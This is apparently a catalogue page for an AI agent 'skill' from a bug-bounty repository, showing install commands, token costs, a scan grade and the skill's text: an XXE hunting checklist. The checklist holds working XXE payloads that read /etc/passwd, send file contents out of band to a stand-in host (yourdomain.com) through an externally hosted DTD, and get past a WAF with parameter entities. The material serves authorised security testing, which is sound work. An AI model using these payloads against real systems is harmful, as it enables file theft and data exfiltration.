Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add sanjaysaini1952/BugBounty-Arsenal --skill xxegit clone --depth 1 https://github.com/sanjaysaini1952/BugBounty-ArsenalWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/xxe)<a href="https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/xxe"><img src="https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/xxe/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/xxe"><img src="https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/xxe.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00000 | $0.00563 |
| Opus 5 | $0.00000 | $0.00282 |
| Sonnet 5 | $0.00000 | $0.00113 |
| Haiku 4.5 | $0.00000 | $0.00056 |
Grade A, and why
xxe scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
What it actually says
XXE Hunting Skill — 6 Test Cases
Load when: XXE, XML external entity, XML injection, out-of-band data exfiltration.
120. Basic XXE file read (easy)
Send <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo> in XML body. Report if /etc/passwd is returned.
121. Blind XXE via error messages (medium)
Send <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///nonexistent">]><foo>&xxe;</foo>. Report if error message reveals internal path.
122. Blind XXE via OOB exfiltration (hard)
Send <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://yourdomain.com/?data=FILE">]><foo>&xxe;</foo> where FILE is /etc/passwd. Check DNS/HTTP logs.
123. XXE in SVG upload (medium)
Upload SVG with <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg>&xxe;</svg>. Check if rasterizer processes entities.
124. XXE in SOAP endpoints (easy)
Send XXE payload in SOAP XML body. SOAP is often vulnerable because XML parsing is enabled.
125. XXE in DOCX/XLSX import (medium)
Craft DOCX or XLSX with embedded XXE. Upload to import functionality. Report if entities are processed.
XXE Payload Reference
<!-- Basic file read -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
<!-- Blind OOB -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://yourdomain.com/?data=FILE">]>
<foo>&xxe;</foo>
<!-- Parameter entity (for WAF bypass) -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://yourdomain.com/xxe.dtd">%xxe;]>
<!-- XXE DTD (hosted externally) -->
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param "<!ENTITY exfil SYSTEM 'http://yourdomain.com/?d=%data;'>">
%param;
%exfil;
Exfiltration Methods
| Method | Use Case |
|---|---|
| In-band | Data returned in response |
| OOB via HTTP | Data sent to attacker URL |
| OOB via DNS | Data sent via DNS subdomain |
| Error-based | Data in error messages |
| Blind via timing | Data inferred by response time |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 53 lines · 0 tokens per session scan A 24a71d945ca5
xxe is a skill published in the GitHub repository sanjaysaini1952/BugBounty-Arsenal (2 stars, last pushed 1mo ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 563 tokens. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
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